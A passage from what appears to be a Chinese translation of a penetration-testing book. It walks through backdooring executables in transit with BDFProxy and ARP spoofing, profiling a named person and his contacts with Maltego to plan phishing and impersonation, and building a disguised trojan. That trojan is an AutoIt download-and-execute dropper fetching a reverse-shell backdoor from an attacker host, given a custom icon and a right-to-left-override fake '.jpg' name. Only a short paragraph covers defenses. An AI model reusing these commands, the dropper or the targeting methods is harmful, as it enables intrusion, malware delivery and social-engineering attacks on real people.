一旦更新下载并安装完成,在我们 Kali 机器上的 Meterpreter 终端会话中运行sysinfo命令,我们应该通过运行sysinfo命令来确认我们已经控制了目标计算机,如下图所示:

使用 bdm2 BDFProxy 进行客户端攻击

在这一部分,我们将探讨另一种后门投递方法:通过主动下载来运行我们的后门。换句话说,用户将下载并安装一个程序,这个程序会按预期运行,但我们的有效载荷或后门会在后台运行。这可以通过一个叫做Backdoor Factory Proxy的工具实现。这也需要一个中间人攻击方法,比如 ARP 欺骗。

对于这个例子,我们选择使用 ARP 欺骗,这样所有流量将会被重定向到我们的计算机。首先,我们需要通过以下命令修改bdfproxy.cfg文件的配置:

leafpad /etc/bdfproxy/bdfproxy.cfg

现在我们将做两件事。首先,将proxyMode参数设置为transparent,如下图所示:

接着,修改HOST参数为你的 Kali 机器的 IP 地址,如下图所示:

这个代理适用于所有操作系统,它使用一个可执行文件下载,并且该文件也会包含后门。为了使其正常工作,我们只需设置我们的 IP 地址10.0.2.15,然后通过输入bdfproxy并按Enter键启动代理,如下图所示:

bdfproxy_msf_resource.rc是一个可以用来监听传入连接的文件。首先,我们需要确保代理运行在端口8080上,并且将来自端口80的所有流量重定向到8080。这可以通过以下命令完成:

iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080

要进行基本的 ARP 欺骗,我们需要运行 MITMf 并使用基本命令mitmf --arp --spoof,该命令应包括--gateway,我们的--target,以及接口-i,如下所示:

mitmf --arp --spoof --gateway 10.0.2.1 --target 10.0.2.5 -i eth0

按下Enter后,我们需要做的就是通过 Backdoor Factory Proxy 的资源文件监听传入连接,使用以下命令:

msfconsole -r /root/bdfproxy_msf_resource.rc

按下Enter后,我们需要做的就是等待它加载所有可以使用的有效载荷。现在,让我们快速分析一下。目标用户将下载一个他们实际需要的程序,我们是中间人,由于我们在进行 ARP 欺骗,所有流量都会通过我们的设备。我们已经运行了 Backdoor Factory Proxy,所以每当下载一个可执行文件时,Backdoor Factory Proxy 会即时给这个可执行文件添加后门;因此,当目标用户运行这个程序时,他们会得到他们期待的程序,但与此同时,我们的后门也会在后台运行,而我们将通过监听端口来获取一个 Shell。

所以,我们将去我们的目标计算机,寻找 DAP,就是我们之前劫持的那个程序,然后从它们的官方网站下载。接着,我们将进入它们的免费下载页面,并保存文件。在下载之前,如果我们查看如下截图所示的终端,我们可以看到该文件已经被后门工厂代理修补:

一旦我们下载了 DAP 的更新,我们将前往“下载”目录并运行该文件。它看起来像一个普通的安装程序,但如果我们返回到 Meterpreter,我们可以看到该下载已经从目标计算机建立了连接,可以通过 sessions -i 1 进行交互,如下图所示:

运行sysinfo命令将确认我们已经进入 Windows 机器,并且由于后门在后台运行,我们可以完全控制该机器。

防护交付方式

在本节中,我们将探讨如何防护交付方式。为了防止中间人攻击,可以使用 XArp 等工具,或者使用静态 ARP 表,并避免连接未知或不信任的网络。另一个预防措施是确保在下载更新时使用 HTTPS,这样可以降低下载虚假更新的风险。

另一个有用的工具是 WinMD5。该程序会在文件的签名或校验和被修改时发出警报,这表明文件可能被篡改,或者不是原始文件。要进行检查,下载并运行 WinMD5,然后可以比较文件的签名和校验和。如果这些值相同,则文件是安全的,如下图所示:

生成的 MD5 校验和值

总结

本章重点讨论了客户端攻击。首先,我们安装了一个名为 Veil 的工具,利用它来利用后门,通过后门我们可以访问用户的系统。接着,我们研究了有效载荷,并生成了自己的有效载荷,对抗杀毒程序进行测试。我们还学习了如何创建一个后门 Meterpreter,用于控制目标计算机,同时不被杀毒软件检测到。最后,我们探讨了交付方式,以及如何保护系统免受此类攻击。下一章将重点讨论如何利用社会工程学对客户端发起攻击。

第十三章:客户端攻击 - 社会工程学

本章重点讨论客户端攻击,受害者的行动将允许我们访问他们的系统,这就是社会工程概念将有助于我们发动攻击的地方。我们将看一下一个叫做 Maltego 的工具,这是一个非常强大的信息收集工具,但在本章中我们只会看它的基本应用。然后,我们将搜索所有与我们目标相关的可能的社交链接;我们也将使用 Maltego 工具进行这项工作。接着,我们将通过他们的推特和电子邮件联系人来定位受害者。随着我们的前进,我们将使用后门文件。然后,我们将为文件生成一个图标 - 它看起来更像是一个普通的图像,但实际上是一个伪装的后门,以便我们可以访问系统。我们还将学习如何更改可以发送给目标的文件的扩展名。最后,我们将执行电子邮件欺骗,这意味着我们将通过有效的电子邮件 ID 向受害者发送电子邮件。

本章涵盖以下主题:

  • 利用社会工程学的客户端攻击

  • Maltego 概述

  • 社会工程学 - 关联账户

  • 社会工程学 - 推特

  • 社会工程学 - 电子邮件

  • 社会工程学 - 总结

  • 下载并执行 AutoIt

  • 更改图标并编译有效载荷

  • 更改扩展名

  • 客户端攻击 - TDM 电子邮件欺骗

利用社会工程学的客户端攻击

到目前为止,我们已经看到了客户端攻击中非常好的方法。这些方法很好,因为我们实际上不需要要求客户端做任何事情。如果客户端更新他们的系统,或者如果他们下载了什么东西,那么我们会在飞行中给它加上后门。这些方法非常好,因为我们实际上不需要做什么,所以目标必须执行一个动作,但我们不需要要求他们做什么。这些方法的唯一问题是我们需要成为中间人,我们需要做 ARP 欺骗,我们需要启动我们自己的虚假接入点,或者我们需要做一些事情成为中间人。

在接下来的章节中,我们将讨论如果我们不是中间人,且目标人物位于远程位置,无法成为中间人的情况下,我们可以使用的方法。这里我们将谈论社交工程学。社交工程学是一个广泛的概念;我们可以进行很多攻击,因为它完全取决于目标。有时候,我们甚至不需要任何技术信息来进行这些攻击,所以这完全取决于我们的目标,以及我们如何构建攻击策略。我们将收集信息,以便获得受害者系统的访问权限。我们需要尽可能多地收集有关目标的信息,了解他们使用哪些网站,谁是他们的朋友,等等;任何信息,都可能在社交工程中对我们非常有用。

我们将首先探讨如何收集有关特定人员的信息。所以,假设我们只有一个名字,或一个 Facebook 账号,以及基于这个名字我们能收集到的任何信息。之后,我们将开始构建策略,看看如何利用收集到的所有信息来构建一个策略,进而发起攻击并获取目标计算机系统的访问权限,最后我们将创建我们的后门。我们将创建一个目标用户能够接受的后门,使他们可能会使用它,我们还将看看如何伪装成他们的朋友,诱使目标人物运行后门。实际上,我们将要求他们运行一个特定的文件,而不是我们之前看到的方法,即用户自愿更新他们的系统或下载某个可执行文件。

Maltego 概述

在本节中,我们将介绍一个在本章中我们将频繁使用的工具。这个工具非常适合信息收集,它允许我们收集几乎任何事物的信息,我们可以收集有关人、网站、计算机、公司、电话号码等方面的信息;任何我们能想到的事情,都可以加入到这个工具中,尝试提取与该实体相关的信息。这个工具叫做 Maltego,它将成为我们进行信息收集时最好的朋友。这个工具可以用来收集任何事物的信息,但使用方式是一样的,因此无论我们的目标是一个网站、一个人、一部电话号码还是一家公司,都没有关系。唯一不同的是我们将收集到的信息。在这一节中,我们将快速概览这个工具,然后在接下来的章节中我们将更多地使用它。

要运行该工具,只需进入“显示应用程序”,然后在搜索栏中输入maltego,我们可以看到一个名为 maltego 的工具出现:

第一次使用该工具时,我们会被要求使用用户名和密码登录;如果没有账号,我们需要通过向导进行注册。我们只需要创建一个新的用户名和密码,系统会向我们发送激活链接,之后我们就能登录并使用该工具。登录后,它会为我们提供一个已经制作好的信息收集模板。我们不会使用任何一个模板。在接下来的截图中,我们可以看到主页,从这里我们可以向工具中添加更多的变换器:

基本上,变换器是插件,它们允许我们收集特定事物的信息。我们只需点击任何一个可用选项上的安装按钮,它就会添加更多的变换器或我们可以用 Maltego 做的其他事情。很多这些额外的变换器会要求我们使用用户名和密码登录,或者使用某个特定的 API。

现在,我们将使用内置的变换器,并且我们将前往菜单栏中的实体选择菜单,创建一个新的图形,并打开 Maltego 的主要工作区:

如下截图所示,在中间我们有我们的图形,我们将在这里看到我们的实体和关于实体的信息:

在概览标签中,我们可以看到图形的概述,在详细视图中,我们可以查看图中每个实体的详细信息,在右下角的属性视图标签中,我们将能够更改这些实体的属性。目前这些标签都是空的,但一旦我们开始使用该工具,它将立刻变得清晰。在左上角,我们可以在实体调色板标签中找到我们的实体,它们根据实体类型被组织成不同类别。

例如,如果我们点击基础设施,它将允许我们添加一个域名;我们可以添加 MX 记录、URL 或网站:

我们可以直接拖拽我们需要的实体;例如,如果我们需要一个网站,只需在图形编辑窗口中拖拽网站实体,现在我们在图中就有了一个网站。从这里开始,我们可以开始收集关于该网站的信息:

有很多不同类型的实体。我们还可以从实体调色板中添加一个设备。例如,如果我们进入个人类目,我们可以直接添加一个人物实体,填写他们的名字和姓氏,然后我们将能够收集关于这个人的信息。我们还可以添加一个电话号码,并开始收集有关它的信息:

这里真正令人惊叹的一个类别是 socialLinks,它将允许我们添加 Facebook 实体,同时还允许我们添加 GitHub、Foursquare、LinkedIn、Instagram 和其他社交网络:

一旦我们添加它们,我们将能够收集关于这些实体的信息,显然这些信息在试图利用该人并侵入其系统时将对我们非常有帮助。

一旦我们添加了实体,如下截图所示,如果我们点击网站,例如,我们只需转到“属性视图”选项卡,我们就可以看到我们可以修改所选网站的属性。例如,假设我们需要更改的第一件事是将我们目标网站的名称放在“网站”参数中:

一旦我们这样做,我们可以右键单击图中的网站实体并选择我们想要收集的信息类型。在下面的截图中,我们可以看到所有可能的选项:

在本节中,我们不会运行任何转换器;我们将在接下来的章节中进行。现在,我们只是展示了一下工具的快速概述,如何添加实体,如何运行转换器,以及我们所说的这些事情的含义。很多内容仍然有点模糊,但我们将在本章中大量使用这个工具,这将变得非常容易。正如我们所知,我们可以用它来收集关于任何事物的信息,这将极大地增强我们的社会工程技能。

社会工程 - 关联账户

在本节中,我们将学习如何针对一个人。我们将从一个人的名字开始,然后看看如何收集关于该人的信息并制定攻击策略。在这个过程中,我们还将了解更多 Maltego 的功能以及如何配置更多设置。因此,我们将通过点击加号开始一个新的图形,如下截图所示:

在实体面板中,在“个人”部分搜索“人员”实体,然后将“人员”实体拖放到工作区。我们假设我们有一个目标并且知道他们的名字,所以名字是Zaid,姓氏是Sabih。我们将转到“属性视图”选项卡并设置“名字”属性;只需双击它。我们将把它设置为Zaid,然后将姓氏属性设置为Sabih,如下截图所示:

现在,让我们看看可以收集到哪些关于已创建实体的信息。再次强调,我们所要做的就是右键点击实体,看看我们能获取到什么。所以,我们点击 PATERVA CTAS 类别,然后进入 All Transforms;我们可以获取关联的邮箱,尝试获取电话号码,或者尝试获取 Twitter 账户;我们可以尝试这些。现在,我们将尝试获取这个人的网站,或多个网站:

现在,它会问我们是否要寻找特定的域名。我们假设自己对这方面一无所知,所以我们会在两个网站之间留一个空格,这意味着查找任何与此人相关的网站:

点击 Run!之后,我们应该会得到一些网站,这些网站都与 Zaid Sabih 有关:

关联网站

现在,这并不意味着这些网站实际上与我们的目标人物有关,因为可能还有另一个名为 Zaid Sabih 的人,所以我们需要去每一个网站查看,看看哪些是与那个人相关的。例如,我们会双击 Facebook 网站查看关联信息。在属性中,我们将看到与该名字关联的 Facebook URLs:

与目标相关的 URLs

我们甚至可以将 URL 复制到文本文件中,以便更好地查看,我们可以在下面的截图中看到,我们有三个资料页面:

现在,在实际情况下,我们应该进入每一个这些资料页面,看看哪一个与我们的目标人物有关。在这个例子中,我们不打算这么做,因为其中三个实际上与 Zaid 根本没有关系,所以这实际上并没有什么用处。在这种情况下,我们将直接返回,转到下一个实体,看看有什么是有用的。

强烈建议删除那些没有用的,因为它们只会让浏览变得更加困难。只需要点击它,按下删除键,它就会被删除。

对于我们的例子,所有这些信息都与我们的目标相关。我们可以双击其中的每一个,进入属性,寻找网址,并在浏览器中打开。当我们这样做时,我们会得到与此人相关的信息,这将帮助我们制定某种攻击策略,或者帮助我们获取更多信息。现在,因为我们已经查看了所有这些内容,我们将专注于其中一个链接,那就是 Udemy 的链接,也就是与目标在 Udemy 上的信息。我们将像之前一样双击,进入属性,获取网址,复制该网址,并在浏览器中打开。我们可以看到该网址与目标人相关,并且它引导我们到目标教授的一个课程页面。虽然这些信息并不太有用,但我们现在可以看到目标正在教授在线课程:

返回并查看另外两个网址。如果我们浏览第二个网址,我们可以看到它展示的是目标人物的个人资料:

通过浏览该网址,我们可以收集关于这个人的信息。我们可以查看所有相关网站以获取更多的信息。现在,我们需要记住我们设定的目标——那就是我,一个懂得计算机和信息技术的人。当我们的目标是普通公司或普通人时,获取有效信息会容易一些。如果我们查看他们的 YouTube、LinkedIn 和 Facebook 个人资料,我们真的不会得到太多信息。即使我们点击他们的 Facebook 个人资料,我们也会发现 Facebook 并不会给我们带来什么有用的内容,我们需要登录,即使登录后,也不会得到太多有用信息。真正有用的做法是,如果我们去他们的博客并查看“关于”部分;在这里,我们能找到目标人的电子邮件地址,还有他们的 Twitter 账号:

这些信息并未出现在 Udemy 上,现在我们有了两条非常有用的信息。在接下来的部分中,我们将看到如何利用这些信息收集更多关于目标的资料,并希望能够制定出攻击策略。

社会工程学 – Twitter

现在我们已经得到了目标人的电子邮件地址和 Twitter 账号。让我们从 Twitter 开始,看看我们能从中获取到什么。打开目标人的 Twitter 账号,复制链接,然后返回到我们的工作区——Maltego,添加一个 Twitter 实体。我们将从社交网络类别中添加一个 Twitter 实体。Maltego 有一个 Twitter 实体,只是目前没有显示出来,让我们来看看如何访问这些设置。

前往实体 | 管理实体,我们可以看到一份可以添加的实体列表:

实体列表

所有这些实体都没有添加到实体面板;我们现在感兴趣的是“隶属 - Twitter”,即 Twitter 社交网络的成员资格。

现在,点击右侧出现的三个小点,将会打开一个窗口,如下面的截图所示。我们将转到“高级设置”,选中“调色板项”复选框,点击“确定”,然后关闭窗口:

编辑实体

现在,Twitter 实体应该显示在实体面板中。因此,我们将其作为普通实体使用。只需拖放它,我们将在属性部分设置其名称,即Zaid,我们将在个人资料网址选项卡中放入网址,并且我们的用户 ID 是Zaid_alq

实体面板

现在,我们可以根据他们的 Twitter 帐户收集有关目标人员的信息。右键单击实体,看看我们能获取什么:

关于目标的信息

因此,我们可以获取他们的推文,可以看到他们发送给人们的推文,我们可以转移这些内容,获取更多详细信息,还可以获取他们的粉丝。

我们真正想要的是他们的朋友,这样我们可以通过他们的朋友实际定位他们。因此,再次点击“运行”按钮,在“到 Twitter 朋友”选项前面。这个特定的转换器要求我们登录 Twitter。正如我们在下面的截图中可以看到的,Maltego 告诉我们,我们必须登录 Twitter 才能收集有关目标人物的信息:

信息日志

在上面的截图中,点击“登录”,使用用户名和密码登录。现在它问我们是否要授权此应用程序。我们将点击“授权应用程序”:

授权应用程序

现在,我们应该已经登录了 Maltego,请返回 Maltego,当我们回到工具时,关闭登录窗口,它应该开始查找目标 Twitter 帐户的朋友。正如我们所看到的,我们成功获取了与 Zaid 是朋友的人们,并且我们可以看到一些非常有趣的信息:

在 Twitter 上的受害者联系人

网站并不是非常有用。我们可以假装是这些网站中的一个人,有很高的机会 Zaid 会回复,但不如使用他们的联系人那样好。因此,删除这些网站,现在我们可以看到 Zaid 有三个朋友,我们可以利用所有这些信息。右键单击他们以获取更多信息:

关于连接的详细信息

在下一节中,我们将回到之前的位置。因此,我们已经收集了有关 Twitter 帐户的信息,现在我们将看到如何收集相同 Twitter 人员的电子邮件信息。

社会工程学 – 电子邮件

好的,现在让我们看看可以使用目标人物的电子邮件zaid@isecur1ty.org获得什么。在 Maltego 中(我们将添加一个新的电子邮件地址实体),前往“个人 | 电子邮件地址”,将其拖放到图表中,并在“属性”中将电子邮件地址设置为zaid@isecur1ty.org,如以下截图所示:

属性

我们成功地从目标的博客获取了一个电子邮件地址。使用该电子邮件,我们现在将看看能获取哪些信息。

像往常一样右键点击实体,我们将看到“运行转换”列表。以我们的示例为例,点击“到域名 [DNS]”并点击“运行”按钮:

运行转换列表

我们看到我们获得了一个域名,即isecur1ty.org。接下来我们将尝试从以下网站获取与该网站关联的电子邮件地址:

域名

右键点击网站,点击“来自域名的电子邮件地址”,然后点击“运行所有”按钮,以运行所有获取与该域名关联的电子邮件地址的转换器:

运行转换

我们得到了m.askar@isecur1ty.org,这是我们在目标的 Twitter 账户上找到的同一个人:

Twitter 上的连接

我们还可以从域名进行转移,右键点击网站,点击“到网站 [快速查找]”:

转移到网站选项

以下是该网站:

与目标相关的网站

从网站上,我们将寻找与之关联的电子邮件地址,右键点击网站,点击“镜像:找到的电子邮件地址”,然后点击“运行”:

提取连接的电子邮件地址

完成后,我们得到两个无用的电子邮件,因此我们将删除这两个,剩下两个有效的电子邮件:

连接的电子邮件地址

我们得到了mustafa@albazy.com,这与我们在 Twitter 上找到的同一人,并且我们还得到了info@isecur1ty.org。现在,我们可以继续收集更多有关目标的信息。我们已经有足够的信息来开始制定针对目标人物的攻击策略。在下一节中,我们将讨论我们收集到的所有信息,并提出如何攻击此人以及如何入侵他们的系统或账户的想法。

社会工程学 – 总结

在这一部分,我们将探讨如何针对我们的目标——一个名叫 Zaid 的人,制定攻击策略。在继续之前,我们将整理工作区,以便我们能够提出一些想法。以我们的例子为例,我们将只保留一些有用的信息,比如 Udemy。我们将把 Zaid 这个主实体放在最上面,然后点击并拖动箭头从电子邮件地址开始,以便我们知道 Zaid 与zaid@isecur1ty.org这个地址有关。Zaid 与zaid@isecur1ty.org电子邮件相关联,这也让我们找到了isecur1ty.org。接下来,我们将从 Zaid 的 Twitter 账户添加另一条箭头,标明这个 Twitter 账户与此人相关联,同时我们这里也有 Udemy 这个实体。我们还知道 Mohammed Askar 的电子邮件是m.askar@isecur1ty.org,这个电子邮件与 Mohammed 相关联。

另外,如果电子邮件是@isecur1ty.org,那么这个人很可能与isecur1ty.org有关。如果我们进行谷歌搜索,我们会发现 Askar 是isecur1ty.org的管理员。所以,我们将再次从 isecur1ty 指向 Mohammed 添加一条箭头。对于 Mustafa 这个实体,我们也会做同样的事情,因为我们能看到他的电子邮件是mustafa@albazy.com,我们将 isecur1ty 与此人关联。所以现在,如下截图所示,我们的目标是 Zaid,我们知道 Zaid 使用 Udemy 并在那里教授课程。我们还找到了 Zaid 的博客,且能看到他的 YouTube 和 LinkedIn 个人资料:

与目标相关的连接。

这种布局可以让我们想到许多攻击 Zaid 的方法;我们可以查看他在 Udemy 上的活跃程度,并假装是 Udemy 的工作人员。例如,我们可以假装是 Udemy 的管理员,给他发送一个程序,并告诉他这是我们新的 Beta 项目,只会给特殊的讲师。这样,Zaid 会感到自己很特殊,因为他获得了其他讲师没有的东西,并且他会运行那个文件。一旦他运行了那个文件,它实际上是一个特洛伊木马,它会创建一个后门,一个键盘记录器,或者一个会窃取他密码的程序,或者允许我们在目标计算机上做任何想做的事。如前所述,在这一部分我们不会研究技术细节,后续部分我们会讲解具体如何操作。所以,当我们说我们会给他发送一个看起来像普通文件的文件时,我们实际上是能够做到的,而这个普通文件本质上是一个普通程序,但在后台它会执行我们告诉它做的事情。我们还可以假装是来自 YouTube、WordPress 或 Udemy 的人员,要求 Zaid 重置密码,并给他一个链接,链接上的登录页面与 Udemy 或 YouTube 的登录页面一模一样。一旦他输入密码,我们就能得到这个密码。所以这里的可能性是无穷无尽的,我们稍后会讨论如何实现这些方法。

看看我们能看到的与 isecur1ty 的连接,我们可以看到这个人与 isecur1ty 公司有很多联系。我们可以看到他有一个@isecur1ty.org的邮箱。再一次,这个邮箱非常有用,因为我们将通过它与扎伊德沟通。我们也可以通过 Udemy 与他沟通,发送消息,但显然他的朋友们并不通过 Udemy 与他沟通。所以我们应该通过他的电子邮件来针对扎伊德。我们还有他的朋友们,比如穆罕默德,我们可以看到他和扎伊德之间有很多联系。他们在 Twitter 上是朋友,他们都活跃在 isecur1ty 上,并且都有@isecur1ty.org的邮箱。这让我们觉得他们不仅是工作上的同事,可能还是朋友。通过利用这种友谊,我们可以向扎伊德发送任何东西,问他任何问题;我们可以向他展示我们想买的汽车的图片,或者发送 PDF 文件,因为我们知道这两个家伙都对计算机安全感兴趣——他们经营着一个安全网站。如果我们发送给他一个 PDF 文件,当他打开这个 PDF 时,它将运行我们希望在系统上运行的文件,这将使我们能够访问扎伊德的系统。

当我们发送一封电子邮件时,我们可以发送看起来像是来自穆罕默德的邮件,我们也可以对穆斯塔法做同样的事情。所以我们可以向扎伊德发送内容,发送他们都感兴趣的东西,或者发送图片,或者发送要求他登录并做某事的链接;在社会工程学方面,可能性是无穷无尽的。不仅如此,假设我们尝试了所有方法,仍然无法黑入扎伊德的系统。我们假装成所有这些人,并尝试了我们能想到的所有方法,但仍然无法进入扎伊德的系统。这并不是世界末日;相反,我们可以尝试黑入他某个朋友的电脑。所以我们可以尝试黑入穆罕默德的电脑或者穆斯塔法的电脑。从那里,我们会尝试进入他们的 Facebook 账户,然后通过 Facebook 与扎伊德沟通,因为我们无法在 Facebook 上发送看起来像是来自穆罕默德的消息,我们只能通过电子邮件做到这一点,但同样,我们可以黑入这些人的 Facebook 账户,然后尝试黑入扎伊德的账户。为什么不黑入他们的 isecur1ty 账户呢?我们知道这些人是管理员,他们有@isecur1ty.org的邮箱。我们可以黑入他们的电脑,再黑入isecur1ty.org。扎伊德肯定浏览过 isecur1ty,所以我们可以在里面埋下一个后门,或者将托管在 isecur1ty 上的某个文件改成后门,然后一旦扎伊德下载或使用它,我们就能黑入他的电脑。

在下一节中,我们将学习如何发送这些假邮件、创建这些后门、制作这些键盘记录器,以及所有那些酷炫的东西。现在,我只是想展示 Maltego 的强大功能,以及我们如何利用它收集关于任何事物的信息。我们从一个名字——Zaid Sabih 开始,能够收集到关于他的网站、博客、YouTube 频道、朋友和邮件的信息。再次强调,这个人是一个技术爱好者,热衷于信息技术,所以他在分享个人信息时非常小心,但我们仍然能够收集到足够的信息来制定攻击策略。如果我们对一个普通人做这些事情,我们会惊讶于能收集到多少信息。

下载并执行 AutoIt

在本节中,我们将学习如何将我们创建的后门与任何其他文件类型结合,使其在执行时显示一张图片、一个 PDF 文件、一首歌曲或其他目标人物感兴趣的内容。通过这种方式,我们将能够利用社会工程学让他们运行我们的后门,而他们看到的将是他们信任的内容,但我们的后门将会在后台运行。我们将通过一个下载并执行脚本来实现这一点,该脚本基本上会下载后门,下载目标人物期望的文件,执行目标人物期望的文件,并在后台运行后门。下载并执行脚本包含在资源中,可以在本书的 GitHub 仓库中找到。下载文件后,打开文件,我们可以看到脚本中使用的代码:

#include <StaticConstants.au3>
#include <WindowsConstants.au3>

Local $urls = "url1,url2"

Local $urlsArray = StringSplit($urls, ",", 2 )

For $url In $urlsArray
  $sFile = _DownloadFile($url)
  shellExecute($sFile)

Next

Func _DownloadFile($sURL)
    Local $hDownload, $sFile
    $sFile = StringRegExpReplace($sURL, "^.*/", "")
    $sDirectory = @TempDir & $sFile
    $hDownload = InetGet($sURL, $sDirectory, 17, 1)
    InetClose($hDownload)
    Return $sDirectory
EndFunc ;==>_GetURLImage

该脚本被编程为我们可以用它下载和执行任何东西,任何数量的文件。因此,我们只需在 Local $urls 参数中输入文件的链接或 URL,并用逗号分隔这些链接。这样我们就可以输入 URL 并继续下去。我们可以使用这个脚本来下载和执行两个可执行文件、三个可执行文件,或者我们想要的任何数量的文件。现在,我们将输入我们希望目标人物看到的文件。这个文件需要能够在线获取,并上传到一个直接链接,以便从该链接下载。为了这个示例,我们将使用一张图片,但我们可以使用任何其他文件类型,甚至让他们打开一个 PDF 文件,或者任何其他我们想要的内容。

因此,浏览 Google 图片并寻找一张图片。点击并打开图片,右键单击图片,然后点击“复制图片地址”:

请注意,当我们这样做时,我们会通过地址栏上的直接 URL 获取到图片本身,因此我们可以看到 URL 的结尾是 .jpg。当我们访问图片时,周围不会有广告;我们只能看到图片本身。我们脚本中包含的所有文件都需要有一个直接的 URL。将 URL 粘贴到脚本中,如下所示:

Local $urls = "https://res.cloudinary.com/goodsearch/image/upload/v1508929095/hi_resolution_merchant_logos/packt-publishing_coupons.png"

接下来我们想要下载并执行的文件是我们的后门。我们将插入一个逗号,然后输入后门的直接 URL。对于我们的示例,该 URL 存储在http://10.20.14.213/evil-files/rev_https_8080.exe。如果我们直接粘贴该 URL,就可以访问该文件并直接下载。这一点非常重要;如果不使用直接的 URL,脚本将无法正常工作。正如我们所看到的,这个脚本非常简单,唯一需要做的就是插入第一个文件的 URL,然后再插入一个逗号,这一点很重要。我们必须用逗号分隔 URL,然后再输入第二个文件的 URL。如前所述,如果我们想下载更多文件,或者下载更多后门或恶意文件,我们只需要再插入一个逗号,并输入下一个 URL。Local $urls参数现在应该包含以下参数:

Local $urls = "https://res.cloudinary.com/goodsearch/image/upload/v1508929095/hi_resolution_merchant_logos/packt-publishing_coupons.png, http://10.20.14.213/evil-files/rev_https_8080.exe"

现在,我们所需要做的就是将脚本编译成可执行文件,接下来我们将在下一节中学习如何做到这一点。

更改图标并编译有效载荷

在上一节中,我们编写了我们的脚本。在这一节中,我们将学习如何将其编译为可执行文件,并且如何更改它的图标。该脚本是用一种名为 AutoIt 的脚本语言编写的。AutoIt 并没有预安装在 Kali 中,但在我们安装 Veil 时,它会被安装上。由于我们使用的是 Veil 后门,没有安装 Veil 我们是无法到达这一步的。因此,我们不会讲解如何安装 AutoIt;我们可以直接下载并使用 Wine 运行安装程序。所以,AutoIt 应该已经为我们安装好了,接下来我们只需要将.txt文件重命名,并将扩展名从.txt改为.au3。然后,在 Kali 中搜索compile,我们就可以看到一个可以编译 AutoIt 脚本的应用程序,如下图所示:

它首先要求我们提供源 AutoIt 脚本,就是我们创建的那个文件。所以我们要点击“浏览”,找到.au3文件,然后点击“打开”。我们还可以设置文件保存的位置,但我们就按如下截图所示,将其保存在下载文件夹中:

如我们所见,我们可以更改图标,并通过在选项中上传.ico文件来使用自定义图标。为此,我们首先需要下载一个代表我们文件的图标。

如果我们的文件是 PDF 文件,那么只需访问 Icon Archive 网站(www.iconarchive.com),并在网站上搜索并下载一个 PDF 图标。然而,在我们的示例中,我们试图使用图像作为目标文件。Windows 通常会显示图像的预览,而不会为图像显示特定的图标。所以我们需要将图像转换为图标,为此,我们需要访问 RealWorld Designer 网站(www.rw-designer.com/image-to-icon)。下载我们想要制作成图标的图像,点击浏览上传到该网站,进行转换后保存到Downloads目录。以下是在线图标创建器所需的详细信息:

现在,回到编译器并设置选项——图标——(我们将点击浏览),然后选择我们刚刚下载的图标:

所有选项都已设置好。我们要做的就是点击“转换”,文件就会生成:

点击“确定”,并关闭所有窗口。现在我们已经得到了.exe可执行文件:

所以,当我们将其发送给目标时,我们希望发送的是.exe,即可执行文件,如前面的截图所示。现在,将可执行文件复制到 Web 服务器的/var/www/html/evil-files目录下。

在将文件下载到目标计算机之前,我们希望监听 Metasploit 的传入连接。我们在第十章,获取计算机设备的访问权限中学到了如何操作。现在,我们只需运行exploit来等待传入连接。一切准备好后,去 Windows 计算机下载文件。文件将在http://10.0.2.15/evil-files/autoit-download-and-execute.exe位置提供。访问该链接并保存文件:

如下图所示,我们有一个带图标的文件,该图标显示了图像的预览,非常具有代表性。如果我们双击该文件并运行它,我们会看到对应图标的图像:

如果我们去 Kali 机器,我们会看到我们已经遇到了一个 Meterpreter 会话,基本上现在我们已经入侵了目标计算机,能够对其进行任何操作。所以,为了确认,我们将运行sysinfo命令,正如下图所示,现在我们已经进入了目标计算机,并且可以完全访问它:

我们成功地做到这一点,通过一个具有图标的文件,实际上显示了一个与目标人物相关的图像。如前所述,这种方法可以用于将我们的后门与图像、PDF、歌曲或任何目标人物感兴趣的内容结合起来。

更改扩展名

如果我们查看到目前为止生成的后门或木马,它只有一个图标,代表目标人物感兴趣的文件。当它被执行时,它会显示一个正常的文件。同时,它也会在后台执行我们的代码,从而允许我们黑入目标计算机,或者做我们想做的任何事。这个文件唯一的问题是,如果我们看文件的结尾,可以看到它有一个 .exe 扩展名。在大多数情况下,目标可能看不到 .exe 扩展名,因为 Windows 配置为隐藏它,但如果它没有隐藏,那就很明显这个文件是一个可执行文件,因为它以 .exe 扩展名结尾。在本节中,我们将专注于如何伪装我们的木马并将其更改为与文件相对应的扩展名。如果我们想让我们的后门看起来像一个 PDF 文件,我们可以让它看起来像一个 .pdf 扩展名;如果我们想让文件看起来像一张图像,我们希望它的扩展名像 .jpg.png,或代表图像的扩展名。

在我们的例子中,我们希望它看起来像一张图像,这意味着它应该有一个 .jpg 扩展名。为此,我们将使用一个从右到左的覆盖字符。我们只需将其复制并粘贴到文本编辑器中,这样在修改时,我们就能清楚地知道我们在做什么:

在前面的截图中,我们可以看到我们希望使用的新文件名,它是 Image,并且它将有一个 .exe 扩展名。现在,我们实际上希望它有 .jpg 扩展名,而不是 .exe,但这不可能,因为如果我们这么做,文件就不能成为可执行文件。为了更改扩展名,我们将尝试使用一个从右到左的覆盖字符,让文本从右到左读取。因为文本将从右到左读取,所以我们将在 Image 文件名后输入 gpj,但我们将其从右到左拼写。再说一遍,这只是我们想使用的扩展名,但我们将其从右到左拼写,所以我们拼写的是 gpj,而不是 jpg

现在,我们要插入一个从右到左的字符。当我们在文本中插入该字符时,之后的内容将会从右到左读取,因此所有内容都会被翻转,Imagegpj.exe 文件名将变成 Imageexe,而 gpj 将从右到左读取,因此它会变成 .jpg。让我们执行一下,你将明白从右到左读取的意思。为了获得那个字符,我们将在 Kali 中搜索 Characters 并打开程序:

点击搜索图标,搜索右到左覆盖:

如果我们点击它,我们将看到一个按钮,允许我们复制该字符:

点击复制字符,它将复制这个示例的字符。现在,返回编辑器,将复制的字符粘贴到gpj.exe前面:

如前图所示,如果我们粘贴它,一切都将从右到左读取,并且文件名将被称为Imageexe.jpg。如果我们将其作为一本书或其他东西使用,我们想要考虑一个以“ex”结尾的名字。任何以“ex”结尾的名称都将是一个好的选择。所以,我们现在有了名字,我们只需要从文本编辑器中复制新名称,然后重命名后门文件,我们将拥有一个名为Imageexe.jpg的文件,如下图所示:

现在,我们可以将新文件发送到目标,但我们不想直接发送它,因为一些最近的浏览器在下载文件时会移除右到左的覆盖,所以我们要做的是将文件压缩为Imagejpg.zip

这样,当文件被浏览器下载时,它不会替换从右到左的覆盖。复制内容,粘贴到evil-files文件夹中,然后我们将从 Windows 机器下载它。

